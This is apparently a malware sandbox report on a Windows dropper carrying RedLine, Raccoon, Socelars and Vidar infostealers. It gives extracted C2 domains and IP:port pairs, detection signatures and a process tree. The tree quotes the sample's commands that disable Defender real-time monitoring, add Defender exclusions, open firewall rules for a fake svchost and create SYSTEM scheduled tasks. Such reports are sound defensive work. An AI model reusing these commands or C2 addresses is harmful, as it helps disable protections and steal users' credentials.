raccoon | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

max time kernel
54s
max time network
190s
platform
windows11_x64
resource
win11
submitted
10/11/2021, 14:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Size

4.7MB
MD5

0cc50985a2e8ae4f126dabb4b6a1c2be
SHA1

4d20dd812a0b2d47f4b9b511538125a1ad5d917c
SHA256

4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef
SHA512

9916db8f6dcc3532d3f205d3d96154cdb511ac3b135a874f72f47be251feeedc3a83b9304f132b1e680b48b2d820dd88a2692cc1080baf88be4ffcb45d2cc439

Score

10^/10

raccoon redline socelars vidar chris fucker2 media18 aspackv2 evasion infostealer stealer suricata

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

Chris

194.104.136.5:46013

Extracted

Family

redline

Botnet

media18

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 8 IoCs

resource	yara_rule
behavioral5/memory/4180-332-0x0000000000000000-mapping.dmp	family_redline
behavioral5/memory/1416-338-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral5/memory/2472-337-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral5/memory/4180-336-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral5/memory/1416-334-0x0000000000000000-mapping.dmp	family_redline
behavioral5/memory/2472-333-0x0000000000000000-mapping.dmp	family_redline
behavioral5/memory/2472-370-0x0000000005460000-0x0000000005A78000-memory.dmp	family_redline
behavioral5/memory/4180-366-0x0000000005850000-0x0000000005E68000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral5/files/0x000100000002b1cd-246.dat	family_socelars
behavioral5/files/0x000100000002b1cd-213.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2116 created 940	2116	WerFault.exe	81

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral5/memory/6064-524-0x00000000022C0000-0x0000000002395000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral5/files/0x000100000002b1bd-157.dat	aspack_v212_v242
behavioral5/files/0x000100000002b1bd-156.dat	aspack_v212_v242
behavioral5/files/0x000100000002b1c0-161.dat	aspack_v212_v242
behavioral5/files/0x000100000002b1be-155.dat	aspack_v212_v242
behavioral5/files/0x000100000002b1be-154.dat	aspack_v212_v242
behavioral5/files/0x000100000002b1c0-160.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
4036	setup_installer.exe
940	setup_install.exe
4840	Tue195c40958f528163.exe
4964	Tue19325eb008c0b950.exe
1260	Tue19f51bcd77a.exe
1904	Tue19c06f159e0ec.exe
1736	Tue1993b3f72c.exe
3188	Tue19879c4c0e.exe
3184	Tue192762f1cd058ddf8.exe
5004	Tue193858933525b62.exe
1184	Tue19150ee2be694c8a4.exe
4312	Tue19c1338f41ab.exe
4472	Tue1969586bcbf58493.exe
4464	Tue19761b3b8d9d.exe
1068	Tue19c78ded4d176ac.exe
804	Tue19411ac950924ec3f.exe
2096	Tue19b4ef3b53293fe.exe
2536	Tue19879c4c0e.tmp
964	Tue19879c4c0e.exe
4616	Tue19879c4c0e.tmp

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 6 IoCs

pid	Process
940	setup_install.exe
940	setup_install.exe
940	setup_install.exe
940	setup_install.exe
940	setup_install.exe
2536	Tue19879c4c0e.tmp

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
179	ipinfo.io
48	ipinfo.io
49	ipinfo.io
52	api.db-ip.com
53	ip-api.com
59	api.db-ip.com
267	ipinfo.io
280	api.db-ip.com
3	ipinfo.io
56	api.db-ip.com
106	ipinfo.io
197	ipinfo.io
241	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

pid	pid_target	Process	procid_target
1692	940	WerFault.exe	81
5316	2096	WerFault.exe	108
5752	1904	WerFault.exe	119
8	5844	WerFault.exe	144
2960	5944	WerFault.exe	158
920	6048	WerFault.exe	152
4464	6040	WerFault.exe	148
5536	1184	WerFault.exe	113
5164	2080	WerFault.exe	162
4904	5784	WerFault.exe	143
2896	6104	WerFault.exe	145
1168	6032	WerFault.exe	149
5524	2800	WerFault.exe	205
6032	4312	WerFault.exe	100
5252	1692	WerFault.exe	206
5440	1440	WerFault.exe	207
5452	5820	WerFault.exe	241
5728	4600	WerFault.exe	240

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3404	schtasks.exe
2924	schtasks.exe
2800	schtasks.exe
6064	schtasks.exe
2616	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5272	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2084	powershell.exe
2084	powershell.exe
2176	powershell.exe
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeAssignPrimaryTokenPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeLockMemoryPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeIncreaseQuotaPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeMachineAccountPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeTcbPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeSecurityPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeTakeOwnershipPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeLoadDriverPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeSystemProfilePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeSystemtimePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeProfSingleProcessPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeIncBasePriorityPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeCreatePagefilePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeCreatePermanentPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeBackupPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeRestorePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeShutdownPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeDebugPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeAuditPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeSystemEnvironmentPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeChangeNotifyPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeRemoteShutdownPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeUndockPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeSyncAgentPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeEnableDelegationPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeManageVolumePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeImpersonatePrivilege	2096	Tue19b4ef3b53293fe.exe
Token: SeCreateGlobalPrivilege	2096	Tue19b4ef3b53293fe.exe
Token: 31	2096	Tue19b4ef3b53293fe.exe
Token: 32	2096	Tue19b4ef3b53293fe.exe
Token: 33	2096	Tue19b4ef3b53293fe.exe
Token: 34	2096	Tue19b4ef3b53293fe.exe
Token: 35	2096	Tue19b4ef3b53293fe.exe
Token: SeDebugPrivilege	1068	Tue19c78ded4d176ac.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	804	Tue19411ac950924ec3f.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 772 wrote to memory of 4036	772	4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe	80
PID 772 wrote to memory of 4036	772	4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe	80
PID 772 wrote to memory of 4036	772	4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe	80
PID 4036 wrote to memory of 940	4036	setup_installer.exe	81
PID 4036 wrote to memory of 940	4036	setup_installer.exe	81
PID 4036 wrote to memory of 940	4036	setup_installer.exe	81
PID 940 wrote to memory of 1860	940	setup_install.exe	85
PID 940 wrote to memory of 1860	940	setup_install.exe	85
PID 940 wrote to memory of 1860	940	setup_install.exe	85
PID 940 wrote to memory of 4740	940	setup_install.exe	86
PID 940 wrote to memory of 4740	940	setup_install.exe	86
PID 940 wrote to memory of 4740	940	setup_install.exe	86
PID 4740 wrote to memory of 2084	4740	cmd.exe	87
PID 4740 wrote to memory of 2084	4740	cmd.exe	87
PID 4740 wrote to memory of 2084	4740	cmd.exe	87
PID 1860 wrote to memory of 2176	1860	cmd.exe	90
PID 1860 wrote to memory of 2176	1860	cmd.exe	90
PID 1860 wrote to memory of 2176	1860	cmd.exe	90
PID 940 wrote to memory of 2240	940	setup_install.exe	88
PID 940 wrote to memory of 2240	940	setup_install.exe	88
PID 940 wrote to memory of 2240	940	setup_install.exe	88
PID 940 wrote to memory of 2664	940	setup_install.exe	89
PID 940 wrote to memory of 2664	940	setup_install.exe	89
PID 940 wrote to memory of 2664	940	setup_install.exe	89
PID 940 wrote to memory of 2784	940	setup_install.exe	126
PID 940 wrote to memory of 2784	940	setup_install.exe	126
PID 940 wrote to memory of 2784	940	setup_install.exe	126
PID 940 wrote to memory of 3404	940	setup_install.exe	95
PID 940 wrote to memory of 3404	940	setup_install.exe	95
PID 940 wrote to memory of 3404	940	setup_install.exe	95
PID 940 wrote to memory of 2808	940	setup_install.exe	94
PID 940 wrote to memory of 2808	940	setup_install.exe	94
PID 940 wrote to memory of 2808	940	setup_install.exe	94
PID 940 wrote to memory of 2996	940	setup_install.exe	93
PID 940 wrote to memory of 2996	940	setup_install.exe	93
PID 940 wrote to memory of 2996	940	setup_install.exe	93
PID 940 wrote to memory of 3992	940	setup_install.exe	91
PID 940 wrote to memory of 3992	940	setup_install.exe	91
PID 940 wrote to memory of 3992	940	setup_install.exe	91
PID 940 wrote to memory of 3520	940	setup_install.exe	92
PID 940 wrote to memory of 3520	940	setup_install.exe	92
PID 940 wrote to memory of 3520	940	setup_install.exe	92
PID 940 wrote to memory of 3256	940	setup_install.exe	96
PID 940 wrote to memory of 3256	940	setup_install.exe	96
PID 940 wrote to memory of 3256	940	setup_install.exe	96
PID 940 wrote to memory of 3988	940	setup_install.exe	125
PID 940 wrote to memory of 3988	940	setup_install.exe	125
PID 940 wrote to memory of 3988	940	setup_install.exe	125
PID 940 wrote to memory of 4376	940	setup_install.exe	124
PID 940 wrote to memory of 4376	940	setup_install.exe	124
PID 940 wrote to memory of 4376	940	setup_install.exe	124
PID 2784 wrote to memory of 4840	2784	cmd.exe	123
PID 2784 wrote to memory of 4840	2784	cmd.exe	123
PID 2784 wrote to memory of 4840	2784	cmd.exe	123
PID 2664 wrote to memory of 4964	2664	cmd.exe	97
PID 2664 wrote to memory of 4964	2664	cmd.exe	97
PID 2664 wrote to memory of 4964	2664	cmd.exe	97
PID 940 wrote to memory of 3064	940	setup_install.exe	122
PID 940 wrote to memory of 3064	940	setup_install.exe	122
PID 940 wrote to memory of 3064	940	setup_install.exe	122
PID 3404 wrote to memory of 1260	3404	cmd.exe	121
PID 3404 wrote to memory of 1260	3404	cmd.exe	121
PID 3404 wrote to memory of 1260	3404	cmd.exe	121
PID 940 wrote to memory of 3216	940	setup_install.exe	120

C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
"C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:772
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4740
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19879c4c0e.exe
      4⤵
      PID:2240
    - - C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\Tue19879c4c0e.exe
        
        Tue19879c4c0e.exe
        5⤵
        Executes dropped EXE
        
        PID:3188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19325eb008c0b950.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\Tue19325eb008c0b950.exe
        
        Tue19325eb008c0b950.exe
        5⤵
        Executes dropped EXE
        
        PID:4964
      - C:\Users\Admin\Pictures\Adobe Films\jZrqV1pjCZZr2zbXNpZIkQZM.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jZrqV1pjCZZr2zbXNpZIkQZM.exe"
        6⤵
        
        PID:1064
      - C:\Users\Admin\Pictures\Adobe Films\G1q_LZi4dshFqke0cWx3po9i.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\G1q_LZi4dshFqke0cWx3po9i.exe"
        6⤵
        
        PID:5844
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:5872
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5844 -s 560
        7⤵
        Program crash
        
        PID:8
      - C:\Users\Admin\Pictures\Adobe Films\x6aIS7PHI2wPel7ayeeUWKp0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\x6aIS7PHI2wPel7ayeeUWKp0.exe"
        6⤵
        
        PID:6076
      - C:\Users\Admin\Pictures\Adobe Films\XfUMwt8eLQQvmHZq8iG8tRdk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XfUMwt8eLQQvmHZq8iG8tRdk.exe"
        6⤵
        
        PID:6064
      - C:\Users\Admin\Pictures\Adobe Films\V9reINIpqarz1zrpg4i2qdDW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\V9reINIpqarz1zrpg4i2qdDW.exe"
        6⤵
        
        PID:6040
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:3316
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 588
        7⤵
        Program crash
        
        PID:4464
      - C:\Users\Admin\Pictures\Adobe Films\knOX3MPO2dv8jHeZvSWLtFXD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\knOX3MPO2dv8jHeZvSWLtFXD.exe"
        6⤵
        
        PID:6032
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 244
        7⤵
        Program crash
        
        PID:1168
      - C:\Users\Admin\Pictures\Adobe Films\HxnEXTWQzdyogrSbPscNz7xy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HxnEXTWQzdyogrSbPscNz7xy.exe"
        6⤵
        
        PID:6000
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        7⤵
        
        PID:4948
      - C:\Users\Admin\Pictures\Adobe Films\wvYft0BNlQc5EVDozWPbgsSy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\wvYft0BNlQc5EVDozWPbgsSy.exe"
        6⤵
        
        PID:5992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        7⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        7⤵
        
        PID:2628
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:6068
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        7⤵
        
        PID:5544
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        7⤵
        Creates scheduled task(s)
        
        PID:3404
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        7⤵
        
        PID:5812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:6140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
        8⤵
        
        PID:6032
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:5232
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:2080
      - C:\Users\Admin\Pictures\Adobe Films\Ywv_tMbgKYoTgAV9TCfZB2Rm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ywv_tMbgKYoTgAV9TCfZB2Rm.exe"
        6⤵
        
        PID:6048
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6048 -s 300
        7⤵
        Program crash
        
        PID:920
      - C:\Users\Admin\Pictures\Adobe Films\s21dxzawxX5OJ_rthZAcB43t.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\s21dxzawxX5OJ_rthZAcB43t.exe"
        6⤵
        
        PID:6024
      - C:\Users\Admin\Pictures\Adobe Films\iECldv1UaeZcH9L1nAFpWhcn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\iECldv1UaeZcH9L1nAFpWhcn.exe"
        6⤵
        
        PID:5984
      - C:\Users\Admin\Pictures\Adobe Films\anPJvL5uMlhbEBWATvCZcsvK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\anPJvL5uMlhbEBWATvCZcsvK.exe"
        6⤵
        
        PID:5964
      - C:\Users\Admin\Pictures\Adobe Films\cRdonvvQBjgDItJTBdbxnxfu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cRdonvvQBjgDItJTBdbxnxfu.exe"
        6⤵
        
        PID:5952
      - C:\Users\Admin\Pictures\Adobe Films\U5aPwGaExMJNYRipGWq3_tbI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\U5aPwGaExMJNYRipGWq3_tbI.exe"
        6⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 296
        7⤵
        Program crash
        
        PID:2960
      - C:\Users\Admin\Pictures\Adobe Films\UG5ssXiMZvhJA5KkYiQf1ipR.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UG5ssXiMZvhJA5KkYiQf1ipR.exe"
        6⤵
        
        PID:5972
      - C:\Users\Admin\Pictures\Adobe Films\OdcTVjnZ439AX3QFoWTSNFNe.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OdcTVjnZ439AX3QFoWTSNFNe.exe"
        6⤵
        
        PID:3684
      - C:\Users\Admin\Pictures\Adobe Films\DxYZX7IoFMGYdpGhHp69u6mf.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DxYZX7IoFMGYdpGhHp69u6mf.exe"
        6⤵
        
        PID:2080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 300
        7⤵
        Program crash
        
        PID:5164
      - C:\Users\Admin\Pictures\Adobe Films\IuQfU7H9rK6yoxVIMjeXH5JP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\IuQfU7H9rK6yoxVIMjeXH5JP.exe"
        6⤵
        
        PID:2100
      - C:\Users\Admin\Pictures\Adobe Films\zsg5KxDjtwRjy9n8Q3FkEL37.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zsg5KxDjtwRjy9n8Q3FkEL37.exe"
        6⤵
        
        PID:2904
      - C:\Users\Admin\Pictures\Adobe Films\BFwL4ZcRIIxtcgDpMI5Lom_B.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\BFwL4ZcRIIxtcgDpMI5Lom_B.exe"
        6⤵
        
        PID:3620
      - C:\Users\Admin\Pictures\Adobe Films\1i1IhDbPTHOHnWfQpHHgZW0O.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1i1IhDbPTHOHnWfQpHHgZW0O.exe"
        6⤵
        
        PID:2488
      - C:\Users\Admin\Pictures\Adobe Films\kPOKhdxYrogYhRBF6bBZ_Nx3.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kPOKhdxYrogYhRBF6bBZ_Nx3.exe"
        6⤵
        
        PID:2576
        
        C:\Users\Admin\Documents\T77T2DdFTzL6GwCP_iHJUyPZ.exe
        
        "C:\Users\Admin\Documents\T77T2DdFTzL6GwCP_iHJUyPZ.exe"
        7⤵
        
        PID:5548
        
        C:\Users\Admin\Pictures\Adobe Films\c7WeiY7dADcHLAU3gGM1Kf33.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\c7WeiY7dADcHLAU3gGM1Kf33.exe"
        8⤵
        
        PID:4512
        
        C:\Users\Admin\Pictures\Adobe Films\ZCua6ZDr49bwgdA040Da_jeq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZCua6ZDr49bwgdA040Da_jeq.exe"
        8⤵
        
        PID:4600
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4600 -s 296
        9⤵
        Program crash
        
        PID:5728
        
        C:\Users\Admin\Pictures\Adobe Films\V8RR1ROV8jxvnEMKAwKGcSjH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\V8RR1ROV8jxvnEMKAwKGcSjH.exe"
        8⤵
        
        PID:5820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 300
        9⤵
        Program crash
        
        PID:5452
        
        C:\Users\Admin\Pictures\Adobe Films\2PzhY3lPXm7PiUH3EN4m7KMo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2PzhY3lPXm7PiUH3EN4m7KMo.exe"
        8⤵
        
        PID:5176
        
        C:\Users\Admin\Pictures\Adobe Films\2PzhY3lPXm7PiUH3EN4m7KMo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2PzhY3lPXm7PiUH3EN4m7KMo.exe" -u
        9⤵
        
        PID:680
        
        C:\Users\Admin\Pictures\Adobe Films\tmtApwBJSbNOfEbVJk2EtHeK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tmtApwBJSbNOfEbVJk2EtHeK.exe"
        8⤵
        
        PID:3768
        
        C:\Users\Admin\Pictures\Adobe Films\8ectCYS2_coQacioLEaHSKnm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8ectCYS2_coQacioLEaHSKnm.exe"
        8⤵
        
        PID:2196
        
        C:\Users\Admin\Pictures\Adobe Films\vRUQ_bc7MIqFNf143kYbSQba.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vRUQ_bc7MIqFNf143kYbSQba.exe"
        8⤵
        
        PID:5828
        
        C:\Users\Admin\AppData\Local\Temp\is-J2AH0.tmp\vRUQ_bc7MIqFNf143kYbSQba.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-J2AH0.tmp\vRUQ_bc7MIqFNf143kYbSQba.tmp" /SL5="$60320,506127,422400,C:\Users\Admin\Pictures\Adobe Films\vRUQ_bc7MIqFNf143kYbSQba.exe"
        9⤵
        
        PID:2132
        
        C:\Users\Admin\Pictures\Adobe Films\0srDNYsp4iOlhVVAIu6UepUg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0srDNYsp4iOlhVVAIu6UepUg.exe"
        8⤵
        
        PID:5404
        
        C:\Users\Admin\Pictures\Adobe Films\ECHpiL7iA8buFAoGyHdZFWyY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ECHpiL7iA8buFAoGyHdZFWyY.exe"
        8⤵
        
        PID:4628
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6064
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:2616
      - C:\Users\Admin\Pictures\Adobe Films\OFJMqQZCp5znbDbWMVDfVrsO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OFJMqQZCp5znbDbWMVDfVrsO.exe"
        6⤵
        
        PID:2068
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        7⤵
        
        PID:5216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue193858933525b62.exe
      4⤵
      PID:3992
    - - C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\Tue193858933525b62.exe
        
        Tue193858933525b62.exe
        5⤵
        Executes dropped EXE
        
        PID:5004
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue19150ee2be694c8a4.exe /mixone
      4⤵
      PID:3520
    - - C:\Users\Admin\AppData\Local\Temp\7zS4CF1A414\Tue19150ee2be694c8a4.exe
        
        Tue19150ee2be694c8a4.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1184
      - C:\Windows\SysWOW64\WerFault.exe
        
